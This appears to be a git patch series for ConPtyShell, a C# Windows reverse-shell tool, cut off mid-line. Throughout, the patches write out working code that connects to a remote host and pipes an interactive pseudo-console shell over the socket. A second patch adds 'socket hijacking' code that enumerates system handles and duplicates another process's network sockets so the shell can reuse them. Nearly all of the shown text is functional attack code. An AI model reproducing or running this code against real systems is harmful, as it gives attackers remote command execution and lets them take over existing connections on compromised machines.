From 8d2f18b5944297987fc614026cdc34fc087f7159 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Thu, 18 Feb 2021 01:01:01 +0100 Subject: [PATCH 1/5] Changed the usage of the sockets, going from C# sockets to Ws2_32 --- ConPtyShell.cs | 160 ++++++++++++++++++++++++++++++++++++------------- 1 file changed, 118 insertions(+), 42 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 693e2fb..c50444c 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -6,6 +6,15 @@ using System.Net.Sockets; using System.Runtime.InteropServices; +public class ConPtyShellException : Exception +{ + private const string error_string = "[-] ConPtyShellException: "; + + public ConPtyShellException(){} + + public ConPtyShellException(string message) : base(error_string + message){} +} + public static class ConPtyShell { private const string errorString = "{{{ConPtyShellException}}}\r\n"; @@ -16,7 +25,7 @@ public static class ConPtyShell private const uint CREATE_NO_WINDOW = 0x08000000; private const int STARTF_USESTDHANDLES = 0x00000100; private const int BUFFER_SIZE_PIPE = 1048576; - + private const int WSA_FLAG_OVERLAPPED = 0x1; private const UInt32 INFINITE = 0xFFFFFFFF; private const int SW_HIDE = 0; private const uint GENERIC_READ = 0x80000000; @@ -29,6 +38,8 @@ public static class ConPtyShell private const int STD_OUTPUT_HANDLE = -11; private const int STD_ERROR_HANDLE = -12; + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFOEX { @@ -83,6 +94,29 @@ private struct COORD public short Y; } + [StructLayout(LayoutKind.Sequential)] + private struct WSAData + { + public short wVersion; + public short wHighVersion; + public short iMaxSockets; + public short iMaxUdpDg; + public IntPtr lpVendorInfo; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + public string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + public string szSystemStatus; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR_IN + { + public short sin_family; + public short sin_port; + public uint sin_addr; + public long sin_zero; + } + [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize); @@ -157,37 +191,78 @@ private struct COORD [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - private static Socket ConnectSocket(string remoteIp, int remotePort){ - Socket s = null; - IPAddress remoteIpInt = IPAddress.Parse(remoteIp); - IPEndPoint ipEndpoint = new IPEndPoint(remoteIpInt, remotePort); - Socket shellSocket = new Socket(ipEndpoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); - try{ - shellSocket.Connect(ipEndpoint); - if(shellSocket.Connected) - s = shellSocket; - byte[] banner = Encoding.ASCII.GetBytes("\r\nConPtyShell - @splinter_code\r\n"); - s.Send(banner); + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern IntPtr WSASocket([In] AddressFamily addressFamily, [In] SocketType socketType, [In] ProtocolType protocolType, [In] IntPtr protocolInfo, [In] uint group, [In] int flags); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern int connect(IntPtr s, ref SOCKADDR_IN addr, int addrsize); + + [DllImport("ws2_32.dll", SetLastError = true)] + private static extern ushort htons(ushort hostshort); + + [DllImport("ws2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)] + private static extern uint inet_addr(string cp); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] + private static extern Int32 WSAGetLastError(); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + + [DllImport("ws2_32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern int closesocket(IntPtr s); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern int recv(IntPtr Socket, byte[] buf, int len, uint flags); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); + + private static IntPtr connectRemote(string remoteIp, int remotePort) + { + int port = 0; + int error = 0; + string host = remoteIp; + + try { + port = Convert.ToInt32(remotePort); + } catch { + throw new ConPtyShellException("Specified port is invalid: " + remotePort.ToString()); } - catch{ - s = null; + + WSAData data; + if( WSAStartup(2 << 8 | 2, out data) != 0 ) { + error = WSAGetLastError(); + throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", error)); + } + + IntPtr socket = IntPtr.Zero; + socket = WSASocket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.IP, IntPtr.Zero, 0, WSA_FLAG_OVERLAPPED); + + SOCKADDR_IN sockinfo = new SOCKADDR_IN(); + sockinfo.sin_family = (short)2; + sockinfo.sin_addr = inet_addr(host); + sockinfo.sin_port = (short)htons((ushort)port); + + if( connect(socket, ref sockinfo, Marshal.SizeOf(sockinfo)) != 0 ) { + error = WSAGetLastError(); + throw new ConPtyShellException(String.Format("WSAConnect failed with error code: {0}", error)); } - return s; + + return socket; } - private static void TryParseRowsColsFromSocket(Socket shellSocket, ref uint rows, ref uint cols){ + private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){ Thread.Sleep(500);//little tweak for slower connections - if (shellSocket.Available > 0){ - byte[] received = new byte[100]; - int rowsTemp, colsTemp; - int bytesReceived = shellSocket.Receive(received); - string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); - string rowsString = sizeReceived.Split(' ')[0].Trim(); - string colsString = sizeReceived.Split(' ')[1].Trim(); - if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ - rows=(uint)rowsTemp; - cols=(uint)colsTemp; - } + byte[] received = new byte[100]; + int rowsTemp, colsTemp; + int bytesReceived = recv(shellSocket, received, 100, 0); + string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); + string rowsString = sizeReceived.Split(' ')[0].Trim(); + string colsString = sizeReceived.Split(' ')[1].Trim(); + if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ + rows=(uint)rowsTemp; + cols=(uint)colsTemp; } } @@ -294,19 +369,21 @@ private static void ThreadReadPipeWriteSocket(object threadParams) { object[] threadParameters = (object[]) threadParams; IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; - Socket shellSocket = (Socket)threadParameters[1]; - uint bufferSize=16*1024; - byte[] bytesToWrite = new byte[bufferSize]; + IntPtr shellSocket = (IntPtr)threadParameters[1]; + int bufferSize=256; + bool readSuccess = false; Int32 bytesSent = 0; uint dwBytesRead=0; do{ - readSuccess = ReadFile(OutputPipeRead, bytesToWrite, bufferSize, out dwBytesRead, IntPtr.Zero); - bytesSent = shellSocket.Send(bytesToWrite, (Int32)dwBytesRead, 0); + byte[] bytesToWrite = new byte[bufferSize]; + readSuccess = ReadFile(OutputPipeRead, bytesToWrite, (uint)bufferSize, out dwBytesRead, IntPtr.Zero); + bytesSent = send(shellSocket, bytesToWrite, (int)dwBytesRead, 0); + } while (bytesSent > 0 && readSuccess); } - private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, Socket shellSocket){ + private static Thread StartThreadReadPipeWriteSocket(IntPtr OutputPipeRead, IntPtr shellSocket){ object[] threadParameters = new object[2]; threadParameters[0]=OutputPipeRead; threadParameters[1]=shellSocket; @@ -319,21 +396,21 @@ private static void ThreadReadSocketWritePipe(object threadParams) { object[] threadParameters = (object[]) threadParams; IntPtr InputPipeWrite = (IntPtr)threadParameters[0]; - Socket shellSocket = (Socket)threadParameters[1]; + IntPtr shellSocket = (IntPtr)threadParameters[1]; IntPtr hChildProcess = (IntPtr)threadParameters[2]; - uint bufferSize=16*1024; - byte[] bytesReceived = new byte[bufferSize]; + int bufferSize=256; bool writeSuccess = false; Int32 nBytesReceived = 0; uint bytesWritten = 0; do{ - nBytesReceived = shellSocket.Receive(bytesReceived, (Int32)bufferSize, 0); + byte[] bytesReceived = new byte[bufferSize]; + nBytesReceived = recv(shellSocket, bytesReceived, bufferSize, 0); writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); TerminateProcess(hChildProcess, 0); } - private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, Socket shellSocket, IntPtr hChildProcess){ + private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess){ object[] threadParameters = new object[3]; threadParameters[0]=InputPipeWrite; threadParameters[1]=shellSocket; @@ -345,8 +422,8 @@ private static void ThreadReadSocketWritePipe(object threadParams) public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine){ string output = ""; - Socket shellSocket = ConnectSocket(remoteIp, remotePort); - if(shellSocket == null){ + IntPtr shellSocket = connectRemote(remoteIp, remotePort); + if(shellSocket == IntPtr.Zero){ output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return output; } @@ -400,8 +477,7 @@ private static void ThreadReadSocketWritePipe(object threadParams) //cleanup everything thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); - shellSocket.Shutdown(SocketShutdown.Both); - shellSocket.Close(); + closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); if(newConsoleAllocated) FreeConsole(); From 941444cd41d216361b1aebb179bac0627765f935 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Tue, 2 Mar 2021 03:11:19 +0100 Subject: [PATCH 2/5] socket hijacking added --- ConPtyShell.cs | 596 ++++++++++++++++++++++++++++---- Invoke-ConPtyShell.ps1 | 743 +++++++++++++++++++++++++++++++++++----- Invoke-ConPtyShell2.ps1 | 39 ++- 3 files changed, 1216 insertions(+), 162 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index c50444c..16dab1d 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -5,6 +5,7 @@ using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; +using System.Diagnostics; public class ConPtyShellException : Exception { @@ -15,6 +16,416 @@ public class ConPtyShellException : Exception public ConPtyShellException(string message) : base(error_string + message){} } +public class DeadlockCheckHelper{ + + private bool deadlockDetected; + private IntPtr targetHandle; + + private delegate uint LPTHREAD_START_ROUTINE(uint lpParam); + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError=true)] + private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); + + [DllImport("Kernel32.dll", SetLastError=true)] + private static extern IntPtr CreateThread(uint lpThreadAttributes, uint dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId); + + private uint ThreadCheckDeadlock(uint threadParams) + { + SocketHijacking.NtQueryObjectDynamic(this.targetHandle, SocketHijacking.OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + this.deadlockDetected = false; + return 0; + } + + public bool CheckDeadlockDetected(IntPtr tHandle){ + this.deadlockDetected = true; + this.targetHandle = tHandle; + LPTHREAD_START_ROUTINE delegateThreadCheckDeadlock = new LPTHREAD_START_ROUTINE(this.ThreadCheckDeadlock); + IntPtr hThread = IntPtr.Zero; + uint threadId = 0; + //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... + hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); + WaitForSingleObject(hThread, 1000); + //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. + //just some waste of threads :( + CloseHandle(hThread); + return this.deadlockDetected; + } +} + +public static class SocketHijacking{ + + private const uint NTSTATUS_SUCCESS = 0x00000000; + private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; + private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; + private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; + private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + private const int WSA_FLAG_OVERLAPPED = 0x1; + private const int DUPLICATE_SAME_ACCESS = 0x2; + private const int SystemHandleInformation = 16; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct SYSTEM_HANDLE + { + public ushort ProcessId; + public ushort CreatorBackTrackIndex; + public byte ObjectTypeNumber; + public byte HandleAttribute; + public ushort Handle; + public IntPtr Object; + public IntPtr GrantedAccess; + } + + public enum OBJECT_INFORMATION_CLASS : int + { + ObjectBasicInformation = 0, + ObjectNameInformation = 1, + ObjectTypeInformation = 2, + ObjectAllTypesInformation = 3, + ObjectHandleInformation = 4 + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + private struct OBJECT_NAME_INFORMATION + { + public UNICODE_STRING Name; + } + + [StructLayout(LayoutKind.Sequential)] + private struct UNICODE_STRING + { + public ushort Length; + public ushort MaximumLength; + public IntPtr Buffer; + } + + [Flags] + private enum ProcessAccessFlags : uint + { + All = 0x001F0FFF, + Terminate = 0x00000001, + CreateThread = 0x00000002, + VirtualMemoryOperation = 0x00000008, + VirtualMemoryRead = 0x00000010, + VirtualMemoryWrite = 0x00000020, + DuplicateHandle = 0x00000040, + CreateProcess = 0x000000080, + SetQuota = 0x00000100, + SetInformation = 0x00000200, + QueryInformation = 0x00000400, + QueryLimitedInformation = 0x00001000, + Synchronize = 0x00100000 + } + + [StructLayout(LayoutKind.Sequential)] + private struct WSAData + { + public short wVersion; + public short wHighVersion; + public short iMaxSockets; + public short iMaxUdpDg; + public IntPtr lpVendorInfo; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 257)] + public string szDescription; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 129)] + public string szSystemStatus; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + private struct WSAPROTOCOLCHAIN { + public int ChainLen; + [MarshalAs(UnmanagedType.ByValArray, SizeConst=7)] + public uint[] ChainEntries; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Auto)] + private struct WSAPROTOCOL_INFO { + public uint dwServiceFlags1; + public uint dwServiceFlags2; + public uint dwServiceFlags3; + public uint dwServiceFlags4; + public uint dwProviderFlags; + public Guid ProviderId; + public uint dwCatalogEntryId; + public WSAPROTOCOLCHAIN ProtocolChain; + public int iVersion; + public int iAddressFamily; + public int iMaxSockAddr; + public int iMinSockAddr; + public int iSocketType; + public int iProtocol; + public int iProtocolMaxOffset; + public int iNetworkByteOrder; + public int iSecurityScheme; + public uint dwMessageSize; + public uint dwProviderReserved; + [MarshalAs(UnmanagedType.ByValTStr, SizeConst=256)] + public string szProtocol; + } + + [StructLayout(LayoutKind.Sequential)] + private struct SOCKADDR_IN + { + public short sin_family; + public short sin_port; + public uint sin_addr; + public long sin_zero; + } + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] + private static extern Int32 WSAStartup(Int16 wVersionRequested, out WSAData wsaData); + + [DllImport("WS2_32.DLL", CharSet = CharSet.Auto, SetLastError = true)] + private static extern int WSADuplicateSocket(IntPtr socketHandle, int processId, ref WSAPROTOCOL_INFO pinnedBuffer); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] + private static extern IntPtr WSASocket([In] int addressFamily, [In] int socketType, [In] int protocolType, ref WSAPROTOCOL_INFO lpProtocolInfo, Int32 group1, int dwFlags); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto)] + private static extern Int32 WSAGetLastError(); + + [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError = true, CallingConvention = CallingConvention.StdCall)] + private static extern int getpeername(IntPtr s, ref SOCKADDR_IN name, ref int namelen); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions); + + [DllImport("kernel32.dll")] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll")] + private static extern IntPtr GetCurrentProcess(); + + [DllImport("ntdll.dll")] + private static extern uint NtQueryObject(IntPtr objectHandle, OBJECT_INFORMATION_CLASS informationClass, IntPtr informationPtr, uint informationLength, ref int returnLength); + + [DllImport("ntdll.dll")] + private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength); + + + //helper method with "dynamic" buffer allocation + private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) + { + if (infoLength == 0) + infoLength = 0x10000; + IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); + while (true) + { + uint result = (uint)NtQuerySystemInformation(infoClass, infoPtr, infoLength, ref infoLength); + if (result == NTSTATUS_SUCCESS) + return infoPtr; + Marshal.FreeHGlobal(infoPtr); //free pointer when not Successful + if (result != NTSTATUS_INFOLENGTHMISMATCH && result != NTSTATUS_BUFFEROVERFLOW && result != NTSTATUS_BUFFERTOOSMALL) + { + //throw new Exception("Unhandled NtStatus " + result); + return IntPtr.Zero; + } + infoPtr = Marshal.AllocHGlobal(infoLength); + } + } + + //helper method with "dynamic" buffer allocation + public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLASS infoClass, int infoLength) + { + if (infoLength == 0) + infoLength = Marshal.SizeOf(typeof(int)); + IntPtr infoPtr = Marshal.AllocHGlobal(infoLength); + uint result; + while (true) + { + result = (uint)NtQueryObject(handle, infoClass, infoPtr, (uint)infoLength, ref infoLength); + + if (result == NTSTATUS_INFOLENGTHMISMATCH || result == NTSTATUS_BUFFEROVERFLOW || result == NTSTATUS_BUFFERTOOSMALL) + { + Marshal.FreeHGlobal(infoPtr); + infoPtr = Marshal.AllocHGlobal((int)infoLength); + continue; + } + else if (result == NTSTATUS_SUCCESS) + break; + else + { + //throw new Exception("Unhandled NtStatus " + result); + break; + } + } + + if (result == NTSTATUS_SUCCESS) + return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it + else + Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful + + return IntPtr.Zero; + } + + + + public static IntPtr GetSocketTargetProcess(Process targetProcess) + { + OBJECT_NAME_INFORMATION objNameInfo; + long HandlesCount = 0; + IntPtr dupHandle; + IntPtr ptrObjectName; + IntPtr ptrHandlesInfo; + IntPtr hTargetProcess; + string strObjectName; + IntPtr socketHandle = IntPtr.Zero; + DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); + + hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id); + if(hTargetProcess == IntPtr.Zero){ + Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); + return socketHandle; + } + ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); + HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); + // move pointer to the beginning of the address of SYSTEM_HANDLE[] + ptrHandlesInfo = new IntPtr(ptrHandlesInfo.ToInt64()+IntPtr.Size); + for(int i=0; i < HandlesCount; i++){ + SYSTEM_HANDLE sysHandle = (SYSTEM_HANDLE)Marshal.PtrToStructure(ptrHandlesInfo, typeof(SYSTEM_HANDLE)); + //move pointer to next SYSTEM_HANDLE + ptrHandlesInfo = (IntPtr)(ptrHandlesInfo.ToInt64() + Marshal.SizeOf(new SYSTEM_HANDLE())); + if(sysHandle.ProcessId != targetProcess.Id || sysHandle.ObjectTypeNumber != 0x25) + continue; + + if(DuplicateHandle(hTargetProcess, (IntPtr)sysHandle.Handle, GetCurrentProcess(), out dupHandle, 0, false, DUPLICATE_SAME_ACCESS)){ + if(deadlockCheckHelperObj.CheckDeadlockDetected(dupHandle)){ // this will avoids deadlocks on special named pipe handles + //Console.WriteLine("Deadlock detected"); + CloseHandle(dupHandle); + continue; + } + ptrObjectName = NtQueryObjectDynamic(dupHandle, OBJECT_INFORMATION_CLASS.ObjectNameInformation, 0); + if (ptrObjectName == IntPtr.Zero){ + CloseHandle(dupHandle); + continue; + } + objNameInfo = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ptrObjectName, typeof(OBJECT_NAME_INFORMATION)); + if (objNameInfo.Name.Buffer != IntPtr.Zero && objNameInfo.Name.Length > 0 ) + { + strObjectName = Marshal.PtrToStringUni(objNameInfo.Name.Buffer); + //Console.WriteLine("strObjectName " + strObjectName); + if(strObjectName == "\\Device\\Afd"){ + socketHandle = dupHandle; + break; + } + else{ + if(ptrObjectName != IntPtr.Zero) Marshal.FreeHGlobal(ptrObjectName); + CloseHandle(dupHandle); + } + } + CloseHandle(dupHandle); + } + } + return socketHandle; + } + + public static bool IsSocketInherited(IntPtr socketHandle, Process parentProcess){ + IntPtr parentSocketHandle = IntPtr.Zero; + SOCKADDR_IN sockaddrTargetProcess = new SOCKADDR_IN(); + SOCKADDR_IN sockaddrParentProcess = new SOCKADDR_IN(); + int sockaddrTargetProcessLen = Marshal.SizeOf(sockaddrTargetProcess); + int sockaddrParentProcessLen = Marshal.SizeOf(sockaddrParentProcess); + parentSocketHandle = GetSocketTargetProcess(parentProcess); + + if(parentSocketHandle == IntPtr.Zero) + return false; + if(getpeername(socketHandle, ref sockaddrTargetProcess, ref sockaddrTargetProcessLen) != 0){ + Console.WriteLine("getpeername sockaddrTargetProcess failed with wsalasterror " + WSAGetLastError().ToString()); + CloseHandle(parentSocketHandle); + return false; + } + if(getpeername(socketHandle, ref sockaddrParentProcess, ref sockaddrParentProcessLen) != 0){ + Console.WriteLine("getpeername sockaddrParentProcess failed with wsalasterror " + WSAGetLastError().ToString()); + CloseHandle(parentSocketHandle); + return false; + } + if(sockaddrTargetProcess.sin_addr == sockaddrParentProcess.sin_addr && sockaddrTargetProcess.sin_port == sockaddrParentProcess.sin_port){ + CloseHandle(parentSocketHandle); + return true; + } + CloseHandle(parentSocketHandle); + return false; + } + + public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) + { + IntPtr targetSocketHandle = IntPtr.Zero; + IntPtr dupSocketHandle = IntPtr.Zero; + targetSocketHandle = GetSocketTargetProcess(targetProcess); + if(targetSocketHandle == IntPtr.Zero ) + throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); + else{ + WSAPROTOCOL_INFO wsaProtocolInfo = new WSAPROTOCOL_INFO(); + WSAData data; + if( WSAStartup(2 << 8 | 2, out data) != 0 ) + throw new ConPtyShellException(String.Format("WSAStartup failed with error code: {0}", WSAGetLastError())); + int status = WSADuplicateSocket(targetSocketHandle, Process.GetCurrentProcess().Id, ref wsaProtocolInfo); + if (status != 0) { + Console.WriteLine("WSADuplicateSocket failed with error " + status.ToString() + " and wsalasterror " + WSAGetLastError().ToString() ); + return dupSocketHandle; + } + dupSocketHandle = WSASocket(wsaProtocolInfo.iAddressFamily, wsaProtocolInfo.iSocketType, wsaProtocolInfo.iProtocol, ref wsaProtocolInfo, 0, WSA_FLAG_OVERLAPPED); + if (dupSocketHandle == IntPtr.Zero || dupSocketHandle == new IntPtr(-1)) { + Console.WriteLine("WSASocket failed with error " + WSAGetLastError().ToString()); + return dupSocketHandle; + } + } + return dupSocketHandle; + } +} + +// source from --> https://stackoverflow.com/a/3346055 +[StructLayout(LayoutKind.Sequential)] +public struct ParentProcessUtilities +{ + // These members must match PROCESS_BASIC_INFORMATION + internal IntPtr Reserved1; + internal IntPtr PebBaseAddress; + internal IntPtr Reserved2_0; + internal IntPtr Reserved2_1; + internal IntPtr UniqueProcessId; + internal IntPtr InheritedFromUniqueProcessId; + + [DllImport("ntdll.dll")] + private static extern int NtQueryInformationProcess(IntPtr processHandle, int processInformationClass, ref ParentProcessUtilities processInformation, int processInformationLength, out int returnLength); + + public static Process GetParentProcess() + { + return GetParentProcess(Process.GetCurrentProcess().Handle); + } + + public static Process GetParentProcess(int id) + { + Process process = Process.GetProcessById(id); + return GetParentProcess(process.Handle); + } + + public static Process GetParentProcess(IntPtr handle) + { + ParentProcessUtilities pbi = new ParentProcessUtilities(); + int returnLength; + int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); + if (status != 0) + throw new ConPtyShellException(status.ToString()); + + try + { + return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); + } + catch (ArgumentException) + { + // not found + return null; + } + } +} + public static class ConPtyShell { private const string errorString = "{{{ConPtyShellException}}}\r\n"; @@ -218,6 +629,12 @@ private struct SOCKADDR_IN [DllImport("ws2_32.dll", CharSet = CharSet.Auto, SetLastError=true)] private static extern int send(IntPtr Socket, byte[] buf, int len, uint flags); + [DllImport("ntdll.dll")] + private static extern uint NtSuspendProcess(IntPtr processHandle); + + [DllImport("ntdll.dll")] + private static extern uint NtResumeProcess(IntPtr processHandle); + private static IntPtr connectRemote(string remoteIp, int remotePort) { int port = 0; @@ -254,15 +671,20 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols){ Thread.Sleep(500);//little tweak for slower connections - byte[] received = new byte[100]; - int rowsTemp, colsTemp; - int bytesReceived = recv(shellSocket, received, 100, 0); - string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); - string rowsString = sizeReceived.Split(' ')[0].Trim(); - string colsString = sizeReceived.Split(' ')[1].Trim(); - if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ - rows=(uint)rowsTemp; - cols=(uint)colsTemp; + try{ + byte[] received = new byte[100]; + int rowsTemp, colsTemp; + int bytesReceived = recv(shellSocket, received, 100, 0); + string sizeReceived = Encoding.ASCII.GetString(received,0,bytesReceived); + string rowsString = sizeReceived.Split(' ')[0].Trim(); + string colsString = sizeReceived.Split(' ')[1].Trim(); + if(Int32.TryParse(rowsString, out rowsTemp) && Int32.TryParse(colsString, out colsTemp)){ + rows=(uint)rowsTemp; + cols=(uint)colsTemp; + } + } + catch{ + return; } } @@ -272,9 +694,9 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) pSec.bInheritHandle=1; pSec.lpSecurityDescriptor=IntPtr.Zero; if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) - throw new InvalidOperationException("Could not create the InputPipe"); + throw new ConPtyShellException("Could not create the InputPipe"); if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE)) - throw new InvalidOperationException("Could not create the OutputPipe"); + throw new ConPtyShellException("Could not create the OutputPipe"); } private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){ @@ -300,12 +722,12 @@ private static void EnableVirtualTerminalSequenceProcessing() IntPtr hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); if (!GetConsoleMode(hStdOut, out outConsoleMode)) { - throw new InvalidOperationException("Could not get console mode"); + throw new ConPtyShellException("Could not get console mode"); } outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN; if (!SetConsoleMode(hStdOut, outConsoleMode)) { - throw new InvalidOperationException("Could not enable virtual terminal processing"); + throw new ConPtyShellException("Could not enable virtual terminal processing"); } } @@ -325,7 +747,7 @@ private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, bool success = InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize); if (success || lpSize == IntPtr.Zero) { - throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error()); } STARTUPINFOEX startupInfo = new STARTUPINFOEX(); startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo); @@ -333,12 +755,12 @@ private static STARTUPINFOEX ConfigureProcessThread(IntPtr handlePseudoConsole, success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize); if (!success) { - throw new InvalidOperationException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not set up attribute list. " + Marshal.GetLastWin32Error()); } success = UpdateProcThreadAttribute(startupInfo.lpAttributeList, 0, attributes, handlePseudoConsole, (IntPtr)IntPtr.Size, IntPtr.Zero,IntPtr.Zero); if (!success) { - throw new InvalidOperationException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not set pseudoconsole thread attribute. " + Marshal.GetLastWin32Error()); } return startupInfo; } @@ -354,7 +776,7 @@ private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); if (!success) { - throw new InvalidOperationException("Could not create process. " + Marshal.GetLastWin32Error()); + throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); } return pInfo; } @@ -371,15 +793,13 @@ private static void ThreadReadPipeWriteSocket(object threadParams) IntPtr OutputPipeRead = (IntPtr)threadParameters[0]; IntPtr shellSocket = (IntPtr)threadParameters[1]; int 